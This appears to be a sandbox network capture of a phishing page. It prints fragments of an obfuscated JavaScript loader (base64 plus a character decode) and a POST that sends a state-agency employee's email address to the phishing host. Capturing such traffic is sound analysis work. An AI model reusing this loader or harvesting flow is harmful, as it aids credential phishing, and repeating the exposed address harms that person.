2025-03-26 21:42:58 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4e 49 4e 6e 51 33 54 54 6c 78 51 30 74 49 63 6b 31 34 56 45 56 6f 51 58 4e 4b 62 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 54 55 76 54 58 4a 53 4e 45 49 79 61 6a 5a 45 61 55 68 4d 62 55 39 73 5a 7a 64 76 4e 6d 5a 75 5a 57 4a 47 61 55 4a 59 57 69 74 33 55 6b 45 35 4f 45 56 36 4c 32 6c 6a 52 30 70 47 64 58 5a 43 54 33 6c 42 62 6b 6c 6c 64 53 39 42 54 6d 56 54 55 6a 67 31 4d 30 51 77 64 46 51 35 64 48 5a 44 65 54 52 71 62 55 46 48 54 55 52 6f 61 47 46 4e 4c 33 70 44 52 47 5a 71 53 47 78 53 61 6d 78 6b 62 32 39 52 64 47 55 78 54 6c 4a 79 5a 32 64 4e 4e 58 64 58 4f 54 49 34 4e 6c 5a 77 4e 47 6c 61 4d 57 74 32 63 6c 4d 34 4e 6e 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlNINnQ3TTlxQ0tIck14VEVoQXNKbXc9PSIsInZhbHVlIjoiTTUvTXJSNEIyajZEaUhMbU9sZzdvNmZuZWJGaUJYWit3UkE5OEV6L2ljR0pGdXZCT3lBbklldS9BTmVTUjg1M0QwdFQ5dHZDeTRqbUFHTURoaGFNL3pDRGZqSGxSamxkb29RdGUxTlJyZ2dNNXdXOTI4NlZwNGlaMWt2clM4Nng
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 33 34 62 37 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 4d 7a 58 4a 44 51 61 73 66 28 4a 68 59 79 7a 42 62 75 4b 41 2c 20 47 45 78 46 58 65 58 66 6d 77 29 20 7b 0d 0a 6c 65 74 20 54 4d 52 65 70 6a 4c 4c 79 78 20 3d 20 27 27 3b 0d 0a 4a 68 59 79 7a 42 62 75 4b 41 20 3d 20 61 74 6f 62 28 4a 68 59 79 7a 42 62 75 4b 41 29 3b 0d 0a 6c 65 74 20 46 64 64 76 6f 6f 72 6b 46 58 20 3d 20 47 45 78 46 58 65 58 66 6d 77 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 4a 68 59 79 7a 42 62 75 4b 41 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 54 4d 52 65 70 6a 4c 4c 79 78 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 4a 68 59 79 7a 42 62 75 4b 41 2e 63 68 61 72 43 Data Ascii: 34b7<script>function lMzXJDQasf(JhYyzBbuKA, GExFXeXfmw) {let TMRepjLLyx = '';JhYyzBbuKA = atob(JhYyzBbuKA);let FddvoorkFX = GExFXeXfmw.length;for (let i = 0; i < JhYyzBbuKA.length; i++) { TMRepjLLyx += String.fromCharCode(JhYyzBbuKA.charC
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 7a 43 52 70 33 49 77 6b 4d 4f 48 31 68 4f 79 4d 50 56 43 39 63 41 41 42 74 50 6a 42 47 4d 58 73 65 46 77 77 6e 59 69 4d 6f 4e 77 78 66 4b 54 73 6d 42 6d 30 58 4e 45 59 78 64 78 56 64 49 54 67 48 49 79 55 68 46 31 51 46 4c 53 6b 58 66 68 4d 67 46 7a 46 77 44 51 6b 68 4d 33 56 6e 4b 44 63 32 41 79 38 44 48 30 5a 2b 47 44 4d 4a 48 47 51 5a 48 53 45 34 65 54 38 41 4a 79 49 44 41 77 63 71 51 46 51 2b 4e 78 77 30 63 41 34 63 4d 69 68 62 46 41 4e 43 4b 6c 38 44 42 79 6c 44 65 52 4d 6a 53 54 52 79 66 43 55 68 4d 33 59 33 4b 44 4d 35 56 41 55 74 4b 52 64 2b 45 79 41 58 48 55 6f 4f 42 41 77 34 66 53 4d 75 47 54 6f 44 4c 77 41 2b 48 48 73 54 49 77 6f 5a 64 43 41 44 44 44 52 59 4e 77 55 34 4d 67 49 57 50 52 38 58 56 6d 49 33 52 53 6b 42 64 51 55 79 4a 46 67 33 4c 77 Data Ascii: zCRp3IwkMOH1hOyMPVC9cAABtPjBGMXseFwwnYiMoNwxfKTsmBm0XNEYxdxVdITgHIyUhF1QFLSkXfhMgFzFwDQkhM3VnKDc2Ay8DH0Z+GDMJHGQZHSE4eT8AJyIDAwcqQFQ+Nxw0cA4cMihbFANCKl8DBylDeRMjSTRyfCUhM3Y3KDM5VAUtKRd+EyAXHUoOBAw4fSMuGToDLwA+HHsTIwoZdCADDDRYNwU4MgIWPR8XVmI3RSkBdQUyJFg3Lw
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 4f 48 6b 38 4c 67 64 49 65 41 55 74 4b 52 64 2b 47 46 45 2b 4f 31 31 38 48 69 63 48 42 78 73 37 4e 30 46 5a 4b 44 6c 5a 48 46 55 2b 4d 41 55 68 5a 42 34 46 4f 69 68 74 50 41 4d 65 4b 6e 34 74 4e 69 5a 41 62 51 64 55 48 42 74 61 4b 77 41 78 51 67 34 6c 42 54 63 75 42 79 67 70 57 52 78 56 50 6a 51 65 4e 48 41 4f 41 77 77 6e 41 6a 6f 46 4e 78 52 46 4c 67 63 41 48 46 4d 39 4e 77 55 63 63 43 63 4a 44 51 63 48 47 79 67 7a 4f 56 51 46 4b 54 35 43 62 51 64 55 51 44 52 64 44 68 63 79 4b 47 30 38 41 78 34 71 64 68 59 35 4d 68 68 54 42 78 6c 41 4d 33 41 6e 57 53 77 68 57 44 63 6f 4d 7a 6c 55 4c 77 4d 2b 51 46 4d 49 4b 77 55 78 64 42 59 47 43 6a 68 35 50 43 34 48 53 48 67 71 50 51 4e 48 63 77 45 52 4a 53 77 42 4f 46 30 4c 48 55 4d 66 41 6a 64 4a 41 67 55 71 57 42 64 Data Ascii: OHk8LgdIeAUtKRd+GFE+O118HicHBxs7N0FZKDlZHFU+MAUhZB4FOihtPAMeKn4tNiZAbQdUHBtaKwAxQg4lBTcuBygpWRxVPjQeNHAOAwwnAjoFNxRFLgcAHFM9NwUccCcJDQcHGygzOVQFKT5CbQdUQDRdDhcyKG08Ax4qdhY5MhhTBxlAM3AnWSwhWDcoMzlULwM+QFMIKwUxdBYGCjh5PC4HSHgqPQNHcwERJSwBOF0LHUMfAjdJAgUqWBd
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 43 67 70 44 77 4e 2b 46 77 30 46 47 57 73 65 48 6a 45 6e 51 43 51 43 51 6a 5a 62 4c 69 6b 39 53 58 6f 44 56 51 63 78 57 58 67 6c 49 54 4e 32 61 41 55 33 46 41 4d 75 4b 54 31 62 5a 51 63 7a 51 53 35 65 49 42 51 4a 4a 77 34 6c 4b 44 4e 49 56 42 6f 6d 49 68 68 56 50 69 38 64 47 67 41 47 47 67 6b 6e 41 6a 34 6f 4e 53 35 59 4b 44 6b 6d 47 46 4d 58 44 51 59 61 57 54 73 59 44 44 64 62 59 41 4d 33 4c 52 67 50 42 79 6b 58 5a 78 67 76 51 42 31 6b 4e 41 49 34 46 31 67 33 4b 44 4d 35 56 42 55 44 55 52 74 53 41 79 4e 48 4f 31 6f 4e 43 53 45 7a 64 6a 63 6f 4e 79 4a 46 4c 67 41 35 42 47 30 39 4a 77 51 5a 5a 44 52 62 4a 78 6c 32 50 6a 52 43 4c 6c 30 75 58 44 30 58 59 51 55 4b 48 6a 52 77 44 6a 73 78 4a 31 38 6d 41 79 63 39 51 41 55 72 44 42 78 56 50 54 64 43 49 57 41 37 Data Ascii: CgpDwN+Fw0FGWseHjEnQCQCQjZbLik9SXoDVQcxWXglITN2aAU3FAMuKT1bZQczQS5eIBQJJw4lKDNIVBomIhhVPi8dGgAGGgknAj4oNS5YKDkmGFMXDQYaWTsYDDdbYAM3LRgPBykXZxgvQB1kNAI4F1g3KDM5VBUDURtSAyNHO1oNCSEzdjcoNyJFLgA5BG09JwQZZDRbJxl2PjRCLl0uXD0XYQUKHjRwDjsxJ18mAyc9QAUrDBxVPTdCIWA7
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 4e 48 4f 31 6f 4e 43 53 45 7a 64 6a 63 6f 4e 7a 5a 46 4c 69 6c 52 43 58 67 35 49 42 6f 31 57 52 6c 64 4a 69 64 74 4f 69 34 48 46 31 51 46 4c 53 6b 58 66 68 4d 6a 51 43 4a 72 4a 46 34 6b 4a 32 55 38 4f 45 4a 42 53 68 55 32 4f 67 42 56 59 6c 56 47 4d 58 52 35 47 41 6f 64 59 6d 63 69 47 54 6c 55 42 53 30 70 46 33 34 58 55 42 67 62 58 69 67 65 43 68 70 59 4e 79 77 7a 4f 55 73 43 4e 69 70 45 65 43 63 4f 46 7a 46 77 44 51 6b 68 4d 33 55 39 41 30 4a 4e 41 77 41 32 44 42 78 57 42 77 55 66 48 48 63 6a 43 54 45 64 44 69 4d 37 4e 41 74 34 42 53 30 70 46 33 34 59 55 54 73 78 63 41 30 4a 49 54 63 43 4f 41 55 5a 4f 6c 73 44 41 77 41 47 55 7a 30 33 43 54 46 37 50 79 55 68 4d 33 59 33 4b 44 4d 35 56 42 56 63 55 51 4e 56 59 79 68 47 4d 58 41 42 58 44 45 6b 63 69 67 34 51 Data Ascii: NHO1oNCSEzdjcoNzZFLilRCXg5IBo1WRldJidtOi4HF1QFLSkXfhMjQCJrJF4kJ2U8OEJBShU2OgBVYlVGMXR5GAodYmciGTlUBS0pF34XUBgbXigeChpYNywzOUsCNipEeCcOFzFwDQkhM3U9A0JNAwA2DBxWBwUfHHcjCTEdDiM7NAt4BS0pF34YUTsxcA0JITcCOAUZOlsDAwAGUz03CTF7PyUhM3Y3KDM5VBVcUQNVYyhGMXABXDEkcig4Q
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 7a 64 6a 63 74 48 54 5a 46 4b 44 59 69 43 6d 30 44 55 42 6f 68 61 77 59 46 49 54 64 51 4b 69 30 7a 4f 55 59 57 41 7a 34 59 55 78 67 33 43 53 4a 67 66 51 51 78 4b 48 30 37 4b 44 63 66 53 51 55 6d 47 7a 74 2b 45 79 41 58 4d 58 41 4e 43 54 46 43 44 69 4d 44 51 7a 45 46 42 53 30 6c 43 58 6b 45 41 6b 45 69 58 67 46 5a 4b 78 6c 32 4e 79 67 7a 4f 56 51 46 4b 56 6b 59 56 44 30 46 41 42 70 61 66 51 63 4b 51 32 56 67 41 30 4a 49 42 51 55 71 4c 51 64 55 47 41 5a 48 4f 31 6f 4e 43 53 45 7a 64 57 6b 69 47 54 6c 55 42 53 30 70 42 56 4d 58 4e 77 6f 63 64 43 41 61 43 6b 49 43 49 44 67 6e 41 45 6b 46 4a 68 73 37 66 68 4d 67 46 7a 46 77 44 51 6b 78 48 58 45 36 41 45 49 63 53 69 35 64 50 67 56 74 46 41 34 58 4d 51 45 56 46 6a 49 61 65 54 30 76 47 67 74 34 42 53 30 70 46 33 Data Ascii: zdjctHTZFKDYiCm0DUBohawYFITdQKi0zOUYWAz4YUxg3CSJgfQQxKH07KDcfSQUmGzt+EyAXMXANCTFCDiMDQzEFBS0lCXkEAkEiXgFZKxl2NygzOVQFKVkYVD0FABpafQcKQ2VgA0JIBQUqLQdUGAZHO1oNCSEzdWkiGTlUBS0pBVMXNwocdCAaCkICIDgnAEkFJhs7fhMgFzFwDQkxHXE6AEIcSi5dPgVtFA4XMQEVFjIaeT0vGgt4BS0pF3
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 46 67 51 62 4f 33 34 54 49 42 63 78 63 41 30 4a 43 7a 64 78 4f 7a 73 33 46 45 59 57 46 41 63 58 65 54 6f 6a 42 78 31 77 44 52 63 6c 4f 48 56 6b 4c 67 63 58 56 41 55 74 4b 52 64 2b 45 79 4e 41 49 6d 73 6b 58 69 51 6e 63 53 4d 41 4a 78 78 47 41 77 63 71 47 6d 30 48 56 45 41 69 61 77 56 5a 4b 78 6c 32 4e 79 67 7a 4f 56 51 46 4b 53 49 47 56 44 30 7a 48 42 74 61 66 52 63 78 4a 32 55 67 42 53 67 31 42 51 55 71 4c 51 64 55 47 41 5a 48 4f 31 6f 4e 43 53 45 7a 64 57 6b 69 47 54 6c 55 42 53 30 70 42 57 35 6a 4d 78 67 78 64 43 73 58 49 54 68 45 47 79 67 7a 4f 56 51 46 4c 53 6b 58 62 6d 4a 59 41 78 6f 41 42 56 67 68 4d 33 6b 39 4f 78 30 68 42 41 38 48 4b 52 64 2b 45 79 41 58 4d 58 52 39 42 67 73 64 55 79 41 44 47 55 6c 61 4c 6c 30 36 51 46 56 69 55 55 59 78 64 77 55 Data Ascii: FgQbO34TIBcxcA0JCzdxOzs3FEYWFAcXeTojBx1wDRclOHVkLgcXVAUtKRd+EyNAImskXiQncSMAJxxGAwcqGm0HVEAiawVZKxl2NygzOVQFKSIGVD0zHBtafRcxJ2UgBSg1BQUqLQdUGAZHO1oNCSEzdWkiGTlUBS0pBW5jMxgxdCsXIThEGygzOVQFLSkXbmJYAxoABVghM3k9Ox0hBA8HKRd+EyAXMXR9BgsdUyADGUlaLl06QFViUUYxdwU
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 77 41 61 5a 48 55 62 43 53 64 78 49 77 49 4a 4d 52 67 61 4b 54 34 4b 55 78 63 4e 42 42 6f 42 65 52 34 78 4a 30 38 71 4d 54 4e 42 57 78 77 4a 42 78 64 2b 45 79 41 58 4b 48 51 4a 43 51 6b 34 66 54 77 37 47 6b 68 61 42 56 77 6d 51 47 34 44 4b 46 73 71 41 52 70 65 49 54 5a 35 59 44 67 6f 4d 67 4d 57 4f 54 6c 49 65 32 49 6b 57 7a 74 61 44 51 6b 34 4d 77 34 6c 4f 43 67 68 47 41 38 4a 42 78 64 2b 46 42 6b 62 47 57 73 56 43 54 46 43 54 7a 67 43 51 7a 55 4b 42 51 4d 6d 42 6c 55 2b 4d 78 67 5a 5a 48 6b 43 43 78 6c 2b 65 79 49 5a 4f 56 51 46 4c 53 6c 49 56 47 49 33 47 68 78 30 49 42 67 4b 47 58 55 67 4f 7a 52 49 57 68 56 63 55 55 46 55 50 69 38 63 47 30 6f 46 43 54 46 43 54 7a 67 43 51 7a 55 4b 42 51 4d 6d 42 6c 4d 49 4b 77 6f 69 61 77 45 48 4f 42 64 59 4e 79 67 7a Data Ascii: wAaZHUbCSdxIwIJMRgaKT4KUxcNBBoBeR4xJ08qMTNBWxwJBxd+EyAXKHQJCQk4fTw7GkhaBVwmQG4DKFsqARpeITZ5YDgoMgMWOTlIe2IkWztaDQk4Mw4lOCghGA8JBxd+FBkbGWsVCTFCTzgCQzUKBQMmBlU+MxgZZHkCCxl+eyIZOVQFLSlIVGI3Ghx0IBgKGXUgOzRIWhVcUUFUPi8cG0oFCTFCTzgCQzUKBQMmBlMIKwoiawEHOBdYNygz
2025-03-26 21:42:58 UTC	1369	IN	Data Raw: 4e 32 4e 79 67 7a 4f 51 73 76 4b 6c 30 36 56 51 67 6a 43 52 6f 41 46 67 49 68 4f 46 73 6d 42 53 67 78 56 43 38 44 50 68 68 74 46 77 30 46 49 6b 6f 37 43 51 78 44 66 53 41 46 4e 78 52 47 46 68 63 66 46 32 34 48 56 42 73 78 64 41 49 59 43 69 63 47 59 51 4d 64 46 46 6b 56 4e 6a 6f 41 56 57 4a 56 46 78 73 42 4f 42 34 4b 4e 30 38 71 4c 52 6f 50 52 53 38 71 58 44 74 2b 45 79 41 58 4d 58 41 4e 43 53 45 7a 64 6d 67 74 51 69 70 44 4b 41 52 63 4f 33 34 54 49 42 63 78 63 41 30 4a 4f 44 4d 4f 4f 77 41 6f 49 52 67 50 42 79 6b 58 66 68 4d 67 53 44 51 41 41 67 49 78 51 32 55 67 41 30 4a 4d 47 41 38 4a 42 78 64 2b 45 79 41 58 4b 48 73 43 41 6a 46 44 5a 53 41 44 51 6b 78 55 4c 54 6b 35 53 58 34 39 4f 78 77 68 61 78 35 66 43 78 31 68 4b 69 67 5a 4f 6c 6b 75 4b 53 34 4b 56 Data Ascii: N2NygzOQsvKl06VQgjCRoAFgIhOFsmBSgxVC8DPhhtFw0FIko7CQxDfSAFNxRGFhcfF24HVBsxdAIYCicGYQMdFFkVNjoAVWJVFxsBOB4KN08qLRoPRS8qXDt+EyAXMXANCSEzdmgtQipDKARcO34TIBcxcA0JODMOOwAoIRgPBykXfhMgSDQAAgIxQ2UgA0JMGA8JBxd+EyAXKHsCAjFDZSADQkxULTk5SX49Oxwhax5fCx1hKigZOlkuKS4KV

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:57 UTC	1137	OUT	GET /kmd85iTTqfc1CQuXoYGPqfBqk8XP6c HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjBRb0hEejNrTkRkK0RmbGVib1lOTUE9PSIsInZhbHVlIjoiQnlSQ1ZrbGV2alR0azExa2ZuZGMramtMV3lMbHJaZXZRdVBlU0s5NkdZNUVuRVlTbzdaRm9peFBtcEltQ1JRTFdCNUhmZkZONUR1TzBWTWwrNVlhMVBlcWYwOUNpL2w4QlM2WEZPOEQvbkJHcGVtR1BISFBTUFhDWTRPeGM5c0giLCJtYWMiOiJlNjUyYTM4M2YxYzUwYWIyZDM3YjQzMGVlYjBhM2NjODZiZWFjYjZiNzkxMTk3MTMyYTRmOGQ4ZDAxNmE2NmYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjErTXAzbWtlTEV4bC9wdHc3WmdJQ1E9PSIsInZhbHVlIjoiNUxNcEJ3Y0s2aXEwdWtIaU5NNFRtamcvK3RSSVkybWpRaTlUaGV3N1NySWFVZFpTNTZEcy9kWkpSNmZncnJFN0Q0c2luODJad0N5dFY0ME94N0NPejI2REI1WUcwV2E1VHplZjZldTRZWTV4eS94N2FWdHVBS3BOOTdCWThaRysiLCJtYWMiOiIxZTdiYjdkYzU2Mjg4M2I0ZjUyMTE3MjBlY2E3NjA1MmIwZGM3NTM4NjgxZDA3N2VhMTQwMDNjNzBlMTQ3Nzg1IiwidGFnIjoiIn0%3D
2025-03-26 21:42:58 UTC	820	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 21:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBOWUoKzVIl%2BS9n2NuYCQTdEUAOOHls9VJ2miX7dOL%2BGgAPjJPnKFfaojH2J4O9aINVeXJs5ZLLtGvsOVaU5P%2BLfD6L5NV6G2hA3HlGQ2%2BRKdyr323k%2FIa5YU%2BJOxUmwsh8k"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=333&min_rtt=304&rtt_var=120&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2055&delivery_rate=9560283&cwnd=252&unsent_bytes=0&cid=58b6b95583d2caa6&ts=160&x=0" CF-RAY: 9269d2254e3d42e2-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 21:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:58 UTC	1484	OUT	POST /xyWc2HOAwFK1ytG9aGvzFMwyqfO344tkNb5yLwpvLBdAfw HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Content-Length: 31 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://nvgy.zonqdkqezktw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Imd3ejg4WEJWaGFQTlg4YThKZHFsRVE9PSIsInZhbHVlIjoiMVFVcSthTUZNb2VVRU56ODBuMWJoa01YOGRNeW5iYkZJVURySzJEbCtrZnZ6T0w5b3IzS254R2RnVFV5Z2VGYlI4b2VzaEd4SGNvUTM3bHZJNVNQRlBYTDRzRDI4aXhMeVhNbmN5ME5vRHYyMFd0aVZtcHN0M3hDM3J0clFDTzUiLCJtYWMiOiJiYjYzZDM5Y2E5OGYwY2YxNWEzMzNmODE5NTAyYTkyNTRmNzViMDI1MzMyOWIzMDIzNjg0OGY3NWY3MWVkMGU0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNINnQ3TTlxQ0tIck14VEVoQXNKbXc9PSIsInZhbHVlIjoiTTUvTXJSNEIyajZEaUhMbU9sZzdvNmZuZWJGaUJYWit3UkE5OEV6L2ljR0pGdXZCT3lBbklldS9BTmVTUjg1M0QwdFQ5dHZDeTRqbUFHTURoaGFNL3pDRGZqSGxSamxkb29RdGUxTlJyZ2dNNXdXOTI4NlZwNGlaMWt2clM4NngiLCJtYWMiOiI4MGQ4ZjNiNzY4NDNmYzNiODNmZTZkMTNjYjUyY2U4NDJkYzlkMTAyMDc5MDlhMTgzNTg1NTVjZGYwM2I1ODkzIiwidGFnIjoiIn0%3D
2025-03-26 21:42:58 UTC	31	OUT	Data Raw: 64 61 74 61 3d 57 51 61 6e 69 6e 61 25 34 30 61 72 74 73 2e 73 74 61 74 65 2e 74 78 2e 75 73 Data Ascii: data=WQanina%40arts.state.tx.us
2025-03-26 21:42:58 UTC	1207	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MLXb6Eb5hgMA2IK4eMJqXoBAtM2KyXvnd4zsuPy4GaYLhtNchWQJrmk3nj4lyfXMQFL95I1zBJP2OTlidO5uWjqLO6pFzV7F8ILPO%2FRGNBPertjJ86hAa3CTOpDCamzHWidc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=341&min_rtt=332&rtt_var=111&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2433&delivery_rate=10422680&cwnd=252&unsent_bytes=0&cid=fc5a0b472763e0d3&ts=160&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjNuVnFrRlRtc2hncnFiZXBraTMzUVE9PSIsInZhbHVlIjoiMDZZaHMrUVh5Um0vMGJhUllUUEhqazc2LzhDVlZRWDA5MjFKeVBPYzRhZUVGT2V2bzliY3Z6dW9GQVRHY25ELzBxS05POXNqNXA2VzJwWFpDeEJ1ZVpPc2R3b3hZOG84eE9aL2xVekVFbHZabFFCenFBbERjL2h0UTVhOGhCbHEiLCJtYWMiOiJiNmRiNzc3MGVmMmJlMzliZGVlN2UxNjg2MzJjYTQ5MGYyYjA5YWJkMDY2YjQ1MjllYjk0ZDBkNjg2YTFkZmQyIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:42:58 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:42:58 UTC	765	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 68 4a 4e 57 39 6b 54 55 4d 30 57 54 52 46 52 30 34 33 55 44 5a 70 4d 48 56 74 57 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 32 5a 4c 55 55 74 4e 63 54 6b 7a 54 6a 68 4b 5a 54 4a 4b 56 6e 49 77 59 6a 56 75 53 57 35 4a 65 45 35 52 56 6b 74 6b 59 30 5a 6c 64 6b 6c 58 4c 33 42 55 59 6a 6c 7a 64 6b 73 72 55 6a 4e 6a 53 6a 56 78 4f 54 6c 6c 5a 55 5a 55 56 55 35 44 56 54 5a 30 5a 45 39 4d 52 6e 6b 32 55 30 64 6f 4d 6a 4a 69 59 57 74 4e 64 6b 35 42 5a 32 31 76 4d 32 74 78 51 31 68 59 4c 7a 49 34 63 47 70 69 4f 58 64 76 63 56 68 7a 63 33 4a 5a 52 57 78 44 4e 6a 4a 68 4d 31 6c 46 5a 48 6c 6a 4f 55 73 78 62 6c 56 75 4e 6d 46 44 56 57 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlhJNW9kTUM0WTRFR043UDZpMHVtWXc9PSIsInZhbHVlIjoia2ZLUUtNcTkzTjhKZTJKVnIwYjVuSW5JeE5RVktkY0ZldklXL3BUYjlzdksrUjNjSjVxOTllZUZUVU5DVTZ0ZE9MRnk2U0doMjJiYWtNdk5BZ21vM2txQ1hYLzI4cGpiOXdvcVhzc3JZRWxDNjJhM1lFZHljOUsxblVuNmFDVWw
2025-03-26 21:42:58 UTC	317	IN	Data Raw: 31 33 36 0d 0a 7b 22 61 22 3a 22 49 49 4b 69 36 76 49 5a 78 74 7a 4c 58 31 7a 66 56 75 77 45 4e 53 63 6b 52 42 65 55 41 4d 67 30 5c 2f 4b 2b 49 49 42 66 50 7a 6f 44 6c 77 4b 68 4c 55 36 78 67 73 59 42 6f 7a 6f 70 42 46 50 62 75 6d 44 4a 61 44 51 45 31 6a 6b 63 64 56 6f 56 6e 38 30 52 47 6d 41 50 48 53 53 66 6e 61 55 47 71 52 4e 58 64 4d 44 58 68 46 50 41 59 46 51 38 71 57 44 6e 37 4c 49 36 36 44 36 6a 53 38 6d 37 65 44 63 4c 69 59 59 4d 2b 55 50 73 59 42 35 48 65 79 78 67 74 32 41 3d 3d 22 2c 22 62 22 3a 22 66 32 33 39 64 61 32 30 65 37 63 34 32 61 63 36 32 35 35 33 32 61 39 32 38 63 33 33 34 61 35 36 22 2c 22 63 22 3a 22 30 30 39 38 35 30 65 39 31 64 31 33 61 62 34 38 35 61 35 36 30 64 63 65 32 38 64 34 37 30 62 65 22 2c 22 64 22 3a 22 36 33 36 32 33 36 Data Ascii: 136{"a":"IIKi6vIZxtzLX1zfVuwENSckRBeUAMg0\/K+IIBfPzoDlwKhLU6xgsYBozopBFPbumDJaDQE1jkcdVoVn80RGmAPHSSfnaUGqRNXdMDXhFPAYFQ8qWDn7LI66D6jS8m7eDcLiYYM+UPsYB5Heyxgt2A==","b":"f239da20e7c42ac625532a928c334a56","c":"009850e91d13ab485a560dce28d470be","d":"636236
2025-03-26 21:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:58 UTC	1356	OUT	GET /favicon.ico HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Imd3ejg4WEJWaGFQTlg4YThKZHFsRVE9PSIsInZhbHVlIjoiMVFVcSthTUZNb2VVRU56ODBuMWJoa01YOGRNeW5iYkZJVURySzJEbCtrZnZ6T0w5b3IzS254R2RnVFV5Z2VGYlI4b2VzaEd4SGNvUTM3bHZJNVNQRlBYTDRzRDI4aXhMeVhNbmN5ME5vRHYyMFd0aVZtcHN0M3hDM3J0clFDTzUiLCJtYWMiOiJiYjYzZDM5Y2E5OGYwY2YxNWEzMzNmODE5NTAyYTkyNTRmNzViMDI1MzMyOWIzMDIzNjg0OGY3NWY3MWVkMGU0IiwidGFnIjoiIn0%3D; 